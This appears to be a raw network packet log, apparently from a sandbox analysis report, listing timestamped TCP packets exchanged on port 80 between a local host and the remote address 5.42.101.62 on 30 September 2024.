Sep 30, 2024 12:22:35.934495926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934509039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934513092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934529066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934529066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934545994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934547901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934562922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934573889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934575081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934586048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934592962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934600115 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934614897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934633970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934664965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.017755032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.017836094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.017853022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.017872095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.017901897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.017920017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.017941952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.017976999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.017990112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018011093 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018027067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018044949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018064976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018089056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018099070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018134117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018152952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018170118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018183947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018202066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018213987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018234968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018248081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018273115 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018284082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018305063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018322945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018340111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018349886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018373966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018387079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018409014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018438101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018441916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018461943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018477917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018486977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018512011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018522978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018559933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018584013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018618107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018630981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018651962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018666983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018687010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018697977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018721104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018735886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018763065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018769979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018812895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018814087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018846035 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018884897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018918037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018932104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018950939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.018971920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.018989086 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019013882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019021988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019036055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019053936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019066095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019090891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019107103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019130945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019143105 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019165993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019181967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019198895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019217968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019247055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019249916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019283056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019295931 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019315958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019330978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019364119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019368887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019438982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019438982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019471884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019485950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019515991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019526958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019555092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019573927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019587994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019609928 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019630909 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019640923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019675016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019689083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019710064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019721985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019743919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019772053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019794941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019795895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019829035 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019846916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019877911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019882917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019917965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019944906 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019953012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019965887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.019987106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.019990921 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020020962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020044088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020054102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020073891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020097017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020106077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020140886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020159006 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020174980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020183086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020225048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020226955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020258904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020292044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020301104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020302057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020325899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020333052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020373106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020376921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020409107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020426035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020447016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020450115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020481110 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020498037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020535946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020550013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020570040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020608902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020642042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020642042 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020693064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020694971 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020726919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020736933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020736933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020761013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020772934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020796061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020812035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020829916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020838976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020862103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020901918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020901918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020916939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020950079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020978928 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.020982981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.020998955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021015882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021025896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021051884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021080017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021085978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021104097 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021120071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021128893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021152973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021164894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021188974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021205902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021222115 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021255016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021265030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021265030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021287918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021300077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021321058 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021334887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021353006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021372080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021387100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021395922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021419048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021434069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021454096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021477938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021488905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021498919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021522999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021538973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021555901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021574974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021591902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021605015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021625042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021652937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021661043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021678925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021693945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021704912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021728039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021745920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021759987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021775007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021794081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021801949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021827936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021853924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021862030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021872044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021894932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021928072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021935940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021935940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021961927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.021975040 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.021996021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.022008896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.022034883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.022042990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.022068024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.022085905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.022100925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.022114992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.022134066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.022141933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.022166967 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.022182941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.022202015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.022218943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.022245884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.104711056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.104743004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.104798079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.104810953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.104826927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.104836941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.104861975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.104873896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.104907990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.104953051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.104955912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.104990005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105000973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105022907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105034113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105065107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105073929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105123043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105125904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105159044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105179071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105191946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105209112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105241060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105242014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105292082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105277061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105324984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105340958 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105359077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105372906 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105387926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105408907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105422974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105438948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105487108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105499029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105531931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105550051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105566025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105575085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105598927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105613947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105633020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105647087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105664968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105674028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105710030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105715036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105746984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105762959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105781078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105797052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105813026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105819941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105859995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105874062 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105911016 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105911970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105943918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105951071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.105978966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.105984926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106020927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106034040 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106071949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106074095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106118917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106127024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106158972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106177092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106204987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106210947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106241941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106261969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106275082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106285095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106307983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106326103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106338978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.106359005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.106373072 CEST	52534	80	192.168.2.4	5.42.101.62
